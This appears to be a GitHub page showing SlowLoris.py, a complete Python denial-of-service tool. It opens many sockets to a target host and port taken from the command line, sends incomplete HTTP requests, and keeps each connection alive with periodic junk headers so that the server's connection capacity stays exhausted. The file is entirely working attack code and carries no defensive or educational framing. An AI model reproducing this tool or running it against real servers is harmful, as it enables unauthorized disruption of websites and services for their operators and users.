-
Notifications
You must be signed in to change notification settings - Fork 16
/
SlowLoris.py
66 lines (52 loc) · 1.74 KB
/
SlowLoris.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#usr/bin/env python
import sys
import random
import socket
import time
from progress.bar import Bar
regular_headers = [ "User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Accept-language: en-US,en,q=0.5"]
def init_socket(ip,port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((ip,int(port)))
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0,2000)).encode('UTF-8'))
for header in regular_headers:
s.send('{}\r\n'.format(header).encode('UTF-8'))
return s
def main():
if len(sys.argv)<5:
print(("Usage: {} example.com 80 100 10".format(sys.argv[0])))
return
ip = sys.argv[1]
port = sys.argv[2]
socket_count= int(sys.argv[3])
bar = Bar('\033[1;32;40m Creating Sockets...', max=socket_count)
timer = int(sys.argv[4])
socket_list=[]
for _ in range(int(socket_count)):
try:
s=init_socket(ip,port)
except socket.error:
break
socket_list.append(s)
next(bar)
bar.finish()
while True:
print(("\033[0;37;40m Sending Keep-Alive Headers to {}".format(len(socket_list))))
for s in socket_list:
try:
s.send("X-a {}\r\n".format(random.randint(1,5000)).encode('UTF-8'))
except socket.error:
socket_list.remove(s)
for _ in range(socket_count - len(socket_list)):
print(("\033[1;34;40m {}Re-creating Socket...".format("\n")))
try:
s=init_socket(ip,port)
if s:
socket_list.append(s)
except socket.error:
break
time.sleep(timer)
if __name__=="__main__":
main()